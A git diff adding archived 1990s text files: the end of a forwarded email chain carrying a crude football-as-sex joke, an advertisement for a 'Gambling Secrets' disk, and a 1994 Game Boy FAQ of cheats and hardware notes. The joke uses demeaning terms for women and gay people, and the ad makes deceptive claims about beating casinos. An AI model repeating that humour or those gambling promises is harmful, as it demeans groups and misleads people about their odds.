(Shoor), +> haque@ee.mcgill.ca (Shumon), bw37@musicb.mcgill.ca (Shyla), sy@wrs. + +> com (Si), +> pan@acs.bu.edu (Suez Canal), suzan_a@alcor.concordia.ca (Suzana +Jhumi +> Alam), +> khanm@utdallas.edu (Tariq), saiful@eniac.seas.upenn.edu (Utshob), +> Zannat.reza@utoronto.ca (Zannat Reza), xcalibur@ritz.mordor.com +> (Arthur), +> kasperc@stm.com (Chris Kasper), edwards@stm.com (Dave Edwards), +> drekmann@stm.com (Dennis Drekmann), larsonk@stm.com (Kim Larson), +> sewell@stm.com (Lance), 295574@xavier.xu.edu (Paul), patelp@stm. +com +> (Pushman), richardw@stm.com (Richard Wiltshire), smpatel@lobby.ti. +> com +> (Sawrin), BOGGESS@xavier.xu.edu (Sean), early@mscd.edu (Steve +Early), +> +> zmehta@post.cis.smu.edu (Zubeman) +> Date: 96-03-22 01:52:19 EST +> +> +> Do you remember junior high and High school? Do you remember +talking +> about 'the bases' with your friends?...Well forget em!! This is +> *FOOTBALL* +> With the all new standardized guide to football, you can forget any + +> of the +> previous complications of having to remember the difference between + +> second +> and third base and all that other shit. And you wonder why there is + +> a +> strike in baseball and not football. Quite simply, baseball is a +> boring, +> confusing and often ambiguous game, especially when trying to +> compare it +> to sexual experiences. Whereas Football was invented for the soul +> purpose +> of understanding where you and your friends are at. Basically the +> game of +> football is one big sex metaphor. No one has discovered this yet, +but +> as +> you will soon see, the complications of modern romance are easily + +> solved +> using The Original Handbook Of Football. +> +> +_____________________________________________________________________ + +> _____ +> +> WHERE YOU ARE ON THE PLAYING FEILD (if your not on the feild, +get on) +> +> your 10 yard line ............. holding hands +> +> your 20 yard line ............. hugging +> +> your 30 yard line ............. kiss on the cheek +> +> your 40 yard line ............. kiss on the lips +> +> MIDFEILD ............. toungue kissing(your in +serious +> territory) +> +> his/her 40 yard line ............. shirt and bra off +> +> his/her 30 yard line ............. all clothes off +> +> his/her 20 yard line ............. ORAL SEX (getting or giving) +> +> 1ST AND GOAL ............. put on the condom +> +> GOAL LINE ............. TOUCHDOWN (SEXUAL INTERCOURSE) +> +> +> NOW THAT YOU KNOW WHERE YOU ARE ON THE FEILD HERE ARE SOME +IMPORTANT +> DEFINITIONS TO HELP YOU EXPLAIN HOW YOU GOT THERE. +> +> kickoff...................making the first move (asking for a +date) +> kicking it deep...........Asking out a virgin (you'll be starting +out +> deep +> in your own end) +> on-side kick..............Asking out a slut (starting near +midfeild, On +> side kicks are good if they work but are + +> risky) +> kick return...............How far you get on the first date +> +> NOW THAT YOU'VE ASKED HER OUT AND WENT ON THE FIRST DATE THE +KICKOFF IS +> OVER AND THE RELATIONSHIP BEGINS, HERE'S SOME MORE DEFINITIONS FOR + YOU. +> +> Downs.....................An attempt to get more yards(get further + with +> her, Here in Canada you get two downs +and +> then +> you best kick it. ask out a new girl +cause you +> ain't getting further with this one. +Americans +> are more patient, they get three downs +before +> they should kick again. +> Running the Ball..........Taking it one yard at a time. +> Passing Play..............Skipping stages +> +> OH OH +> +> Fumble....................Impotence +> Fumble Recovery...........Regain erection +> Interception..............Homosexuality (YOUR GOING THE OTHER +WAY!!) +> +> OTHER DEFINITIONS +> +> Turnover..................Anal sex +> Field Goal................One of you orgasm, 3pts (Field goal +range +> begins +> around their 30, when the clothes are +> off!) +> Touchdown.................Mutual orgasm, 6pts +> Extra Point...............The smoke afterwards +> Two Point Conversion......Smoke and a Phone number +> High Scoring Game.........Multiple Orgasms +> Rain Delay................Parents/Roommate comes home +> Pile Up...................ORGY +> Missed Feild Goal.........Wide right,Wide left or even worse, to +short! +> 3RD down and inches.......Call for a measurement (Move those +Yardsticks) +> +> +> THE OFFENSE +> +> Quarterback...............The most important position, the +missionary +> Quarterback Sneak.........Unusual positions +> Center(HUPPER)............Doggie Style +> Running Back..............A hand-off +> Tight End.................Self Explanatory +> Wide Receiver.............Opposite of Tight End +> Nose Tackle...............(Use Your Imagination) +> +> +> DEFENSE (Becoming more and more important these days) +> +> Defensive Line............Condom +> Break in the defence......Condom breaks +> The Safety................The Pill (just to be safe) +> A Blitz...................A "Quickie" +> +> +> PENALTIES +> +> Roughing..................S & M +> Holding...................Handcuffs or Restraints +> Offside...................Premature Ejaculation +> +> THE BOWLS +> +> Rose Bowl.................Romantic sex (MAKING LOVE) +> Citrus Bowl...............Healthy or Safe Sex +> Peach Bowl................Juicy/Wet Sex +> Fiesta Bowl...............Sex in South America +> Superbowl.................Marriage (The Big Dance) +> +> +> SO NOW THAT YOU KNOW THE FIELD AND ALL THE DEFINITIONS YOU CAN SEE + HOW +> TO +> USE THEM, HERE ARE SOME EXAMPLES OF HOW USEFULL THE ORIGINAL +HANDBOOK OF +> FOOTBALL REALLY IS. +> +> 1. There was an on-side kick to what I thought was a wide receiver + but +> it turned out to be a tight end so there was a turnover. +> +> 2. Their was a deep kickoff with no return. I ran the ball to mid- +field +> but +> then decided to go to the passing game. The passing play didn't + work +> because of a fumble. On the next down a running back took it to + their +> 10 +> yard line. With 1ST and goal, the action moved from the Hupper +to the +> Quarterback who did a Quarter back sneak. The game turned out +to be +> the +> highest scoring Fiesta Bowl ever!!! +> +> 3. I was Roughed in the massive pileup. +> +> 4. It was third down and inches on the 20 Yard line but on the +field +> goal +> attempt I was short. +> +> +> I HOPE YOU HAVE ENJOYED OUR JOURNEY THROUGH THE ORIGINAL HANDBOOK +OF +> FOOTBALL AND YOU HAVE NOT ONLY HAD A CHUCKLE BUT WILL PASS IT ON +TO AS +> MANY PEOPLE AS YOU KNOW SO THAT ONE DAY THE ORIGINAL HANDBOOK OF +> FOOTBALL WILL REPLACE THE OLD, OUTDATED, INEFFICIENT, NO LONGER +FUNNY +> STANDARDIZED GUIDE TO THE BASES. +> +> +> -+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+- +> +*&%$%&*+- +> +> Caesar Abedin Love remains a secret when spoken +> caesar@connect.net for only a lover truly knows +that +> http://www.connect.net/caesar he is loved. - R. +Tagore +> +> Sex is just a sublimation of the math urge. +> +> 03/22/96 +> +> +> -------- Original message header follows -------- +> From @VM.MARIST.EDU:KXQT@MARISTB.MARIST.EDU Mon Mar 25 12:51:55 +1996 +> [PIM 3.2-030.47] +> Received: from VM.MARIST.EDU (vm.marist.edu [148.100.1.2]) by +> pimaia1w.prodigy.com (8.6.10/8.6.9) with SMTP id MAA57110 for +> ; Tue, 26 Mar 1996 12:49:04 -0500 +Received: +> from VM.MARIST.EDU by VM.MARIST.EDU (IBM VM SMTP V2R3) +> with BSMTP id 9102; Tue, 26 Mar 96 12:45:49 EST +> Received: from MARISTB.MARIST.EDU (NJE origin MUSICB@MARIST) by VM. + +> MARIST.EDU (LMail V1.2a/1.8a) with BSMTP id 4604; Tue, 26 Mar 1996 + +> 12:45:49 -0500 +> Resent-Message-Id: <26MAR96.13773091.0110.MUSIC@MARISTB.MARIST. +EDU> +> Resent-Date: Tue, 26 Mar 1996 12:45:10 EST +> Resent-From: "Laufer, Rebecca R." +> Resent-To: +> X-Mailer: MUSIC/SP V4.1.0 +> Received: by MARISTB.MARIST.EDU (MUSIC Mailer V4.1.0); Sun, 24 Mar +96 +> 23:48:21 +> EST +> Received: from MARIST (NJE origin SMTP@MARIST) by VM.MARIST.EDU +(LMail +> V1.2a/1.8a) with BSMTP id 5251; Sun, 24 Mar 1996 23:48:22 -0500 +> Received: from mail06.mail.aol.com by VM.MARIST.EDU (IBM VM SMTP +> V2R3) with TCP; +> Sun, 24 Mar 96 23:48:20 EST +> Received: by mail06.mail.aol.com (8.6.12/8.6.12) id XAA17256; Sun, +> 24 Mar 1996 23:51:21 -0500 +> Date: Sun, 24 Mar 1996 23:51:21 -0500 +> From: RSAbdullah@aol.com +> Message-ID: <960324235117_177000949@mail06> +> To: AlKtraZ@aol.com, PsnChckn@aol.com, sgg6994@siena.edu, +> sbjones@acsu.buffalo.edu, jc99@uno.cc.geneseo.edu, +> smb0585@siena.edu, +> JD307@MARISTB.MARIST.EDU, KXQS@MARISTB.MARIST.EDU, +> KXQT@MARISTB.MARIST.EDU, KXQQ@MARISTB.MARIST.EDU, brie4@mhv. + net, +> KXQV@MARISTB.MARIST.EDU, KXQP@MARISTB.MARIST.EDU, +> DanJohnM@aol.com +> Subject: Fwd: FOOTBALL +> +> -------------- End of message --------------- +> +> +> +> << End of Forwarded message >> + +------- FORWARD, End of original message ------- + + + +<< End of Forwarded message >> + + diff --git a/textfiles.com/games/gamble.txt b/textfiles.com/games/gamble.txt new file mode 100644 index 00000000..43a0a7ca --- /dev/null +++ b/textfiles.com/games/gamble.txt @@ -0,0 +1,115 @@ + GAMBLING SECRETS + + +If you like to play the ponies, pull a +slot machine handle once in a while, +play a little friendly blackjack or +whatever, this disk is for you. + +How about bingo? Or the lottery? Even +these subjects are covered. This disk +is not a tutorial for learning how to +play the games. It is a tutorial for +learning how to WIN at the gambling +you do. + +You get information on how to improve +your chances of winning at: + +Slot machines +Video poker +Bingo +Baccarat +Craps +Blackjack +Lotteries +Horse racing + +It also includes sections on money +management, casinos and luck. + +There are definite things you can do +to improve your chances of winning in +any gambling situation. This disk +reveals the best. If you are tired of +losing and want to get aboard that +winners train once in a while, order +this disk today! + +Some of the subjects covered have been +previously sold as booklets for as +much as $19.95 each! You can now get +the entire package for that same price. + +How to find the right casino for your +game. + +Tell tale sign that a slot machine is +ready to pay off. + +How to win more money in the lottery. + +Dramatically improve your chances of +winning at bingo. It's easy! + +Greatly increase your winnings at the +race track. + +What races should you always avoid at +the race track? + +Where are the best slot machines? + +The worst? + +What are the "sucker bets" in craps? + +What is the one thing you should never +do in blackjack? + +The dealer is showing a face card, you +have 16. What should you do? + +How to tell when a blackjack table is +"hot." + +How to get valuable information from +casino personnel. + +What is the best video poker machine +to play? + +How to actually beat the house edge +playing video poker, what you have to +look for. + +Now you can actually win when you +gamble. No fluff, nothing too +complicated, just hard scientific +fact. Facts that can make the +difference between coming home a +winner or a loser. + +Before you play the lottery again, +pick up a bingo card, go to the track, +Las Vegas, Reno or Atlantic City. +Before you take that cruise, go to the +Carribbean or Europe, before you play +another hand of blackjack or pull +another slot machine handle or watch +those digital cards come up on a video +poker machine, you need this disk! + +Easy to understand and learn. Simple +to view and use. All orders are +shipped free anywhere in the U.S. and +Canada. + +Overseas orders must be in U.S. funds +drawn on a U.S. bank. Add $10.00 for +shipment to foreign countries. + +ONLY $19.95 for one disk! For two or +more disks, just add $10.00 each! 2 +disks for only $29.95, 3 disks for +only $39.95 etc. diff --git a/textfiles.com/games/gameboy.faq b/textfiles.com/games/gameboy.faq new file mode 100644 index 00000000..6fea171a --- /dev/null +++ b/textfiles.com/games/gameboy.faq @@ -0,0 +1,805 @@ + Nintendo GameBoy + FREQUENTLY ASKED QUESTIONS + + Maintained by Marat Fayzullin [FMS] + EMAIL: fms@wam.umd.edu + IRC: RST38h + + version 2.0 + 4/13/1994 + + I. GameBoy: General Description + II. Cheats, Passwords, Strategies, etc. + III. List of the best games + IV. GameGenie Questions + V. Programming, Hardware, etc. + *** Unanswered Questions + + UPDATES: 1. GameBoy mail-server and mailing list! <--*YEAH* + 2. Mortal Kombat cheats + 3. Yet more cheats, codes and passwords + + I finally found some time to update the FAQ. Sorry for the huge + delay, this semester was a busy one for me. Anyway, here is a + new v.2.0 of the FAQ. + + People, could somebody subscribing for "Electronic Gaming World" + and other similar magazines go through the "S.W.A.T." sections in + them and write down all GameBoy cheats/passwords/etc. not included + into this file? I would appreciate your help. + As always, FAQ may contain errors. Also, some information is + missing. If you find an error or have a missing piece of information, + email your comments to me. Notice that this file contains some data + on GameBoy's internals. Any additional information in this field + will also be greatly appreciated (read "Unanswered Questions" section). + + + +**************** I. GameBoy: General Description ****************** + + CPU: 8-bit Z80 at 2.2 MHz + RAM: 16kB internal + ROM: 512kBit, 1MBit, 2MBit and 4MBit cartridges are known + (64kB, 128kB, 256kB and 512kB). Probably, there are + smaller kinds as well (16kB and 32kB). + + Sound: 4 Channels (Stereo: 2L/2R) + + Video: + Display: Reflective LCD 160x144 dots + Colors: 4 shades of gray + Sprites: 8 sprites 8x8 + + Communications: Serial port (?) + Up to 4 Gameboys can be connected together using these ports + Baud rate: ??? + Protocol: ??? + + Power: 6 Volts, 0.7 Watts + 4 AA Batteries - 35 hours + OR + Rechargable battery (NAKI) - 12 hours + +* What are an advantage of GB in comparison with other portable videogames? + + The same reflective LCD screen which is considered to be the weak point + of GameBoy, is its advantage. Other systems, such as Atari Lynx or SEGA + GameGear, use backlighted color screens which consume several times more + power than reflective LCD of GB. Thus, these systems need 6 AA batteries + instead of 4 AAs needed by GB and drain these batteries in about 6 hours. + Also, dots on GB's LCD are much smaller than dots on the color screens of + other portables which [given that you have a good light source nearby] + means that GB's LCD looks crisper. The other advantage of GameBoy is that + it is the only portable videogame you can actually PUT INTO YOUR POCKET. + Both Lynx and GameGear are too big for it. + Speaking about variety of games available for GB, I would *NOT* + consider it an advantage of GB if we are talking solely about its + technical characteristics. Amount of software written for the system has + nothing to do with the system's hardware architecture. It is rather + determined by commercial success of the system and [in fact] by how it + is marketed. There are many technologically superior systems which just + didn't make it because of poor marketing [TurboGrafx is an example]. + + +**************** II. Cheats, Passwords, Strategies, etc. **************** + +1. Castlevania II: Belmont's Revenge passwords + + H - Heart C - Candle B - Ball . - Space + + Central Castle: HBC. Hard Mode (like Castlevania I): .B.B + Belmont's son's realm: HCBB Music Test: HHHH + Count Dracula: BHCH Easy Mode (9 lives): CCHH + +2. Nemesis cheats + + Pause the game and press these buttons: + + To get SPEED and SHIELD: BBBBBAAAAA + To get SHADOWFIGHTERS,SHIELD,LASER,MISSILES: UUDDLRLRBA + + ( U-[UP] D-[DOWN] L-[LEFT] R-[RIGHT] A-[A] B-[B] ) + +3. Fortified Zone passwords: 1111,3375,1681,1122 + +4. Pipe Dream passwords: + + 5:HAHA 9:GRIN 13:REAP 17:SEED 21:GROW 25:TALL 29:YALI + +5. Last password in Dr.Franken: JHT87 [HEART]V7VN VG20Z + +6. How to get to Medusa Cave in Final Fantasy Adventure? + + Find an oasis with two palm trees and walk in 8-like manner around + them: + +->>-+ <<-+ + | PP | PP | + +-<< +->>-+ + +7. Faceball 2000 + + Start on level one. Find an exit. Shoot it five times, then explore + the level some more. You will find extra lives and speed-up power-ups. + You will also have five exits to choose from, each of which takes you + to a different level (level select). + Contributed by Mark Kaufman. + +8. Zen the Intergalactic Ninja passwords: + + C - Can B - Bottle T - Tire A - cArdboard box . - Space + + Passwords: [.CBB] [T.AT] [CBAB] ...and the final one: [BTCC] + +9. Possible cheat in Final Fantasy Legend II: + + On some stage of the game double-clicking on the Trashcan [or, maybe, + trying to "move" Trashcan to the different position in the list] will + allow to increase Agility or Strength of the party members. This trick + appeared only once and I couldn't repeat it. I also got responses from + two people who encountered similar effect. Everybody who has more info + on this trick, send email to me. + +10. Tecmo Bowl codes [contributed by Kelly Gillilan]: + + Invisible Team: 397BFFA5 + + Mirror Matches: + + Washington 5B7FBFA3 Denver CFBFF7A0 Indianapolis 43AFFEAC + Miami 46AFFDAB Cleveland 49AFFBA9 L.A. 969FDFA5 + San Francisco 9C3F7FA5 Dallas 63AEFFA5 New York 269DFFA1 + Chicago 697BFFA5 Minnesota AC37FFA9 + +11. Stage select in Penguin Wars: + + At the character select screen, pick the character, then press L+B, + then press A and [START]. + +12. Some interesting passwords for QBillion: WALL,IDEA,NOON + +13. Some interesting codes in Shanghai: + + MAN - tough level REV - reversed tiles STF - credits + +14. Invisible opponents in SoccerMania: + + At the title screen, press UUDDLRLRBA, then press [START] + +15. Passwords for Korodice: + + [4] [5] [6] [7] [8] [9] [10] + EASY 94347 68890 24486 49320 28076 96545 83193 + AVERAGE 22307 64422 43059 46403 50136 17443 99007 + +16. Selected passwords for Mickey Mouse/Bugs Bunny: + + 10:WZFS 20:ZTPZ 30:WYCZ 40:TX9W 50:2TWX 60:YTKX 70:SHE2 80:XHO2 + +17. Snoopy's Magic Show passwords: + + 1N1B XZ10 V5K2 CA1H 424V VS10 C417 CS1V VUY0 12ET 2UV4 VU12 + Z2JH 2207 C21I ZUUV 7UBB BE10 CE1Q HEO4 CEIB VHNX 1H11 B6N0 + CD1T CD1D + +18. Fish Killer passwords: + + 21:UIRE 22:CXMT 23:HOBL 31:KAPG 32:SNWD 33:FQJV A1:PAHN A2:ESZC + +19. Battle Ping Pong codes: + + 7822 6524 1604 0781 5802 8731 0511 1199 + +20. Burai Fighter Deluxe passwords: + + HGKM GBAL IDCP CPFJ MHCB LEOJ JJOE ODEN COHL DKLF KDPI AFKP + +21. Migrain Acclaim passwords: L2:0742 L3:X480 L4:586Y L5:3081 + +22. Blodia passwords: + + AIJD DIFP DJGN BKQF ANPD CNGL APQD DQMQ BNCE CPHI + +23. Solomon's Club passwords: GZ3ZNN 2Z3NND CZ3DND + +24. Awesome Klax pattern: + + last brick --->4 2 1 1 2 + 1 4 3 2 1 + 3 3 4 3 3 + 1 1 2 1 1 + 1 2 1 2 1 + +25. Mega Man games: + + Mega Man Mega Man 2 Mega Man 3 + + 1234 1234 1234 1234 + A ** A *** A * * A * + B * B * B ** B * * + C ** C *** C ** C ** + D D * D ** D + +26. Roland's Curse: + + QKMTTQHP (fire wand/magic axe) FRTTTGTP (sword/power crystal) + at maximum power, only 25 sword hits to kill Barius. + +27. Selected paswords for Navy Blue: + + 65:MVCROEOX (CRUISER) 89:YLNFEMHQ (TARTAN) ??:KAFSKYLG (TOMCAT) + 73:MBZRLYOC (SEA SPARROW) ??:YLNYDMIS (CARRIER) ??:FLTHVMXP (TRIDENT) + 81:MUDLTEOH (TOMAHAWK) ??:FKMWCMHK (FANTOM) ??:FLTCWMHN (FINALE) + +28. Final boss in Bionic Commando: S - Square T - Triangle C - Circle + + ABCDEF + 1 SCSSCC + 2 TS TSC + 3 TSC TC + 4 CT CCT + +29. Mortal Kombat: + + In order to play as Goro, + + 1. Beat the game normally. + 2. Wait for credits to scroll by. + 3. When "The End" appears, hold UP+LEFT+SELECT+A + 4. Enter initials and press A + 5. Play as Goro! + + Playing as Goro, hold A+B and then press DOWN. Goro [you] will + disappear and the time will go much faster. Your opponent will + be constantly repeating same move and won't be able to hit you. + + These cheats were contributed by Jim Hsu and Timothy A. Meushaw + +30. Bill and Ted's level passwords: + + 2: 555-4239 3: 555-8942 5: 555-4118 6: 555-8471 7: 555-2989 + 8: 555-6737 9: 555-6429 10: 555-1881 + + +*********************** Other cheats, passwords, etc. ******************** + +Adventure Island : Stage Select : RLRLABAB at the title screen +Adventure Island 2 : Power Up : 0894 +Amazing Penguin : Level 37 : 916328 +Amazing Tater : Floor 3 : YBTF5ZZFT2 +Amida : Passwords : TLKSS, LEIQX, VOTAJ +Atomic Punk : Level 50 : B0MNDPBL3NCB3L2H2DJJ +Avenging Spirit : Expert mode : U+A+B at the title screen +Batman : Sound Test : U+R+START at the title screen +Battle Bull : Level 48 : $F** +BattleToads 2 : 5 toads : Holding D+A+B press [START] +Boomer's Adventure : Level 55 : ANCIENT +Boxxle : Lvl 11, Rm 8 : Q*HT * = Spade +Boxxle 2 : Level 5 : 0K84 +Brainbender : Level 5 : 3081 +Bubble Bobble : Level 100 : KZ5J + : Stage Select : KGBJ, then use L to select level +Bugs Bunny : Level 79 : XHO2 +Bugs Bunny 2 : Level 27 : KING +Burai Fighter Deuxe : Level 5 : DKLF +Catrap : Level 100 : R61H +Chase HQ : Stage Select : Holding D+A+B press [START] +Contra : Extra Lives : UUDDLRLRABAB[SELECT][START] +Cyraid : Last Level : RUGGER +Dead Heat Scramble : Stage Select : BBBBBBBBAAAAAAAA then B one less time + : : than the number of wanted level +Deadalian Opus : Stage Select : ZEAL +Dick Tracy : Level 5 : 56115 +Extra Bases : 7W 0L : 2CCZ +Fish Dude : Stage C-3 : SE +Fist Of The North Star: Last Level : XKP72QNVHRJGU5 +Flappy Special : ? : AK00 +Flash : Level 13 : FUNHOUS +Fortified Zone : Level 4 : 1122 +Gargoyle's Quest : Last Level : SWXE-CBFJ +Godzilla : Last Level : JXRB7K&948HPD32#JN +GO! GO! Tank : Cheat Mode : LURULLURULUL[START] at title screen +Hunt for Red October : Stage Select : B[SELECT]LR[START] at title screen +Hyper Loderunner : Level Select : Enter QM-0388 as passcode +Kirby's Dream Land : Cheat Mode : D+[SELECT]+B +Lock & Chase : ? : Press AABBABB at title screen +Mercernary Force : Stage Select : Holding U+[SELECT]+A+B press [START] +Navy Blue : End : FLTCWMHN +Ninja Boy : Stage Select : UUDDABAB, holding A press [START] + : Continue : Holding A press [START] +Operation C : Stage Select : UUDDLRLRBABA[START] at full title screen +Pitman : Stage Select : Q16KXW [Stage 95] +Power Mission : Level 11 : LRDMR1 +Prince of Persia : Final Battle : 71196464 +Q Billion : Stage Select : TOIL +Raging Fighter : Plr vs. Plr : UUDDLRLRB, then A for dk., B for normal +Roger Rabbit : Level 6 : RTJBWW43 +Rolan's Curse : End : PQRJLNPC +Snoopy's Magic Show : Level 58 : V5YO +Snow Bros. Jr. : Stage Select : Holding U+[SELECT]+B press start at + : : the title screen +Solomon's Club : Level 4-10 : QDDHSY8 +Spanky's Quest : Stage Select : 0119 +Spud's Adventure : Stage Select : BANCHOU +Star Trek : Planet Killer: 3516.7 +Super Mario Land 2 : Easy Mode : [SELECT] at the pipe screen +Tail Gator : Last Area : 8093 +TMNT : Extra Life : Pause game, then UUDDLRLRBA[START] + : Bonus Games : Holding A+B+[SELECT] press [START] at + : : the config screen (?) +Tetris : Expert Mode : D+[START] at the title screen +Turrican : Stage Select : Holding [SELECT] press [START] at the + : : title screen + +*********************** III. List of the best games ****************** + + This list is compiled based on the ratings and reviews I got from + various sources. The fact that some game is in the list doesn't + necessarily mean that it is the best game for you; it just means + that this game is worth checking out. I put asterisk (*) next to + my personal favorites. For the current information about the best + games, send mail containing one word, get_gameboy, to + paien00@dmi.usherb.ca to get "Nick's GameBoy Game Ratings List". + +1. RPGs: + + *Final Fantasy Legend | + *Final Fantasy Adventure (2MBit) +-----> These seem to be everybody's + *Final Fantasy Legend 2 (2MBit) | favorites. + Final Fantasy Legend 3 (4MBit?)| + Zelda: Link's Awakening (4MBit) + +2. R-Type-like shoot-em-ups: + + Nemesis + *Gradius: Interstellar Assault (2MBit) + +3. Platform Games: + + *Metroid II + SuperMarioLand II (4MBit) + *Castlevania II: Belmont's Revenge + *Batman + *TMNT: Fall of the foot Clan + Operation C + Mega Man 1,2,3 + BattleToads + Gargoyle's Quest + +4. 3D Games: + + *Altered Space (platform game) + Faceball 2000 (shoot-em-up) + +5. Sport Games: + + Jack Nicklaus Golf + F-1 Race + +6. Logic/Strategy Games: + + *Shanghai + *Tetris + Chessmaster [watch for revision, there are two of them] + *Spot + 4-in-1 packs 1 and 2 + Dr. Mario + Ishido + +7. StreetFighter clones: + + Mortal Kombat + Raging Fighter + +8. Classical Arcade games: + + Asteroids + Missile Command + Centipede + Pacman + +9. Flight Simulators: + + Turn and Burn + Top Gun + + +***************************** IV. Game Genie **************************** + +1. How it works? + + GameGenie allows you to substitute some of the codes in the cartridge + ROM with your own codes. For example, you can substitute the default + number of lives with your own number. GameBoy GameGenie allows to + substitute up to three codes. + +2. Where to get the codes? + + GameBoy GameGenie codes are available through anonymous FTP at + + netcom.com directory /pub/vidgames/gamegenie + + 6828 Jun 14 1993 gbcod1.txt + 5798 Jun 14 1993 gbcod2.txt + 5256 Jun 14 1993 gbcod3.txt + 5606 Jun 14 1993 gbcod4.txt + 5668 Jul 24 03:11 gbcod5.txt + 2122 Oct 26 23:21 gbcod6.txt + 6341 Jun 14 1993 gbin02.txt + 11011 Jun 14 1993 gbup01.txt + 13427 Jun 14 1993 gbup02.txt + +3. What is the meaning of the digits in GameGenie code for GameBoy? + + * All digits are in hexadecimal system + + GameBoy GameGenie Code: DD2-103-??? + + DD - Data Byte + 0,1,2,3 - Address, reads as 3210 + ??? - Meaning of these digits is unknown. + It is suspected that they represent the + ROM paging register, but no information + is available. + + Example: 3D2-ABF-3BE - Set 3Dh (DEC A command) at address F2ABh + +4. Some commonly used Z80 instructions with their codes: + + Code(s): Instruction: Common Usage: + 3Eh xxh - LD A,xxh Load default number of lives (energy,ammo,etc.) + 3Dh - DEC A Decrease number of lives (energy,ammo,etc.) + 3Ch - INC A Increase number of lives (energy,ammo,etc.) + 00h - NOP DO NOTHING (set this instead of 3Dh) + +5. CodeMasters' address and phone number: + + Codemasters + Lower Farm House, PHONE: +44 926 814132 + Southam, + Warwickshire. + CV33 0DL + UK + + * I didn't try calling them. If you get any additional information from + CodeMasters, please, email it to me + + +********************* V. Programming, Hardware, etc. ******************* + +1. Are there any GameBoy emulators for the personal computers? + + YES, there is a GameBoy emulator for the Commodore Amiga called ToyBoy. + This emulator can be obtained by FTP from AmiNet sites: + + ftp.luth.se: /pub/aminet/misc/emu/Gameboy68000.lha + ftp.etsu.edu: /aminet/misc/emu/GameBoy68000.lha + wuarchive.wustl.edu: /systems/amiga/aminet/misc/emu/Gameboy68000.lha + + Unfortunately, this package is incomplete. It doesn't have documentation + and a Z80 assembler. The author of ToyBoy is unknown. According to some + sources, ToyBoy was stolen from a company called Argonaut developing + Amiga->GameBoy cross-development system for Nintendo. Other rumors say + that there is a demo console based on this emulator. The ToyBoy package + found on Aminet includes: + + a) GameBoy emulator + b) Binary file for Tetris which can be run by emulator + c) Source code of Tetris in Z80 assembler + + Following information was mainly obtained by exploring the Tetris source + code which came with ToyBoy. Information about GameBoy's hardware is + extremely hard to find. Most of it is incomplete, uncertain and vague. + If you have any information [especially about things listed in + "Unanswered Questions" section], PLEASE, email it to fms@wam.umd.edu. + + +2. Addresses of GameBoy I/O ports: + + GameBoy seems to access I/O ports as memory cells rather than as real Z80 + I/O ports i.e. instead of IN A,(Port#) we have LD A,(Port Addr). Here are + several port addresses and their usage: + + + EA64h: Joystick (INPUT) + + Bits: Meaning: When buttons are pressed, appropriate + 0 [LEFT] bits go to "1"s + 1 [RIGHT] + 2 [UP] + 3 [DOWN] + 4 [A] + 5 ? + 6 ? + 7 ? + + + EA62h/EA63h: Low/High bytes of the Character Set address (OUTPUT) + + Using these two ports you can set an address of the Character Set + table for GameBoy's video controller. This address should be EVEN(?). + There may be up to 256 (?) characters 8x8 dots each. Character's + pattern takes 16 bytes. Each dot has two bits in two consequent bytes: + + Addr: db 00010000b + | | + +------------> Dot with color 2 (10b) + | +----------> Dot with color 1 (01b) + | | + Addr+1: db 00001100b + + Here is an example of the character using colors 0 and 2 only: + + db 00000000b,0 + db 01111100b,0 + db 11001110b,0 + db 11011110b,0 + db 11110110b,0 + db 11100110b,0 + db 11000110b,0 + db 01111100b,0 + + Let C be a code of the character. Then the pattern of this character + in the table will be located at + + PattAddr(C)=CharSetAddr+16*C + | + +---> This is the address in EA62h/EA63h + + + EA60h/EA61h: Low/High bytes of the Character Map address (OUTPUT) + + These ports define the address of the table video controller uses as + a Character Map. This 20x18 table contains codes of the characters + being displayed on the screen. Let X,Y be coordinates of the character + (starting at the left-upper corner). Then the address of this character + in the table will be + + CharAddr(X,Y)=CharMapAddr+20*Y+X + | + +---> This is the address in EA60h/EA61h + + +3. Is it possible to build a backlight into GameBoy? + + NO, it is impossible to make a backlight for the reflective LCD. + Nevertheless, it is possible to put a light source inside GameBoy so + that it will be above the screen. Don't forget that opening GameBoy will + void the warranty though. + +4. Are there any game copiers for GameBoy? + + No stand-alone game copiers are known. Nevertheless, there seem to be + GameBoy adaptors for MultiGameDoctorII, MultiGameHunter, SuperWildCard + and SuperComPro. Also, there is a device allowing to play games stored + on credit card-like magnetic cards which is produced in Japan and isn't + sold in U.S. + +5. MultiGame cartridges for GameBoy: + + Yes, these cartridges are at least half-illegal because their producers + violate copyright law. + Yes, these things exist for GameBoy. At present time, there are four + kinds of them: 48in1, 64in1, 86in1 and 105in1 (although there were rumors + about 200in1 cartridge also). They all seem to contain the same basic set + of games most of which are either old Nintendo products (like Alleyway or + Tennis) or low-quality games from other companies with a couple of good + games added. Number of games in such a cartridge is actually SMALLER than + it is written on the box because some games are present in two or three + copies (with a number of lives and other things changed). For example, + 64in1 cartridge contains only about 48 DISTINCT games. At least 27 of + them can be classified as "logic" or "strategy" games. There were many + requests to list games multigame cartridges contain. So, here is a list + of games how it appears in a menu of a 105in1 cartridge. Other multigame + cartridges contain subset of games listed below. Notice large number of + japanese titles and repetitions. There are also some titles which actually + respond to the same game. + + turtle ninja bouken jima super mario land motocross + penguin land kid kiki mickey mouse crocodile + dr. mario solomons club head on dr mario + ishido battle city bouken tennis + volley fire boxing trump boy klax + bubble ghost master karateka othello puzzle boy + hong kong tetris minisweeper heiankyo alien + bouken 3 flipull hyper loderunner amida + yakuman match mania pala medes world bowling + loopz bouken 4 alleyway koro dice + puzzle road spot castelian dragon slayer 1 + space invader snake war bouken 5 flappy special + pipe dream koi wa kakehiki bouken 6 pitman + tasmania story soukoban 2 shanghai kinkong escape + arkanoil ls caste star gate bouken 7 + super kid super turtle super mario go tank + bouken 8 spec mouse big ghost excite bike + penguin egg spec turtle adventure 2 tank + kiki mouse small ghost motor bike adventure + big penguin speed runner bom bom alley 1992 castelian + thunder force luck boy adventure 4 sp turtle + mario boy adventure 5 loder runner sp alley + sp motocross adventure 6 sp invader sp kid kiki + easy tasmania adventure 7 turtle ii sp mario + gogo tank adventure 8 sp mouse adventure island + sp penguin happy boy happy ghost bouken boy + sp tasmania + +6. Using GameGenie with multigame cartridges: + + No, GameGenie DOES NOT WORK with multigame cartridges. + +7. Japanese cartridges: + + These are cartridges which are not available in U.S., although you can + find them if you are lucky. Following descriptions of japanese cartridges + were prepared by Mark Kaufman. + +* Name: Parodius Type: Shooter Producer: Konami + Graphics: 10 Sound: 10 Playability: 10 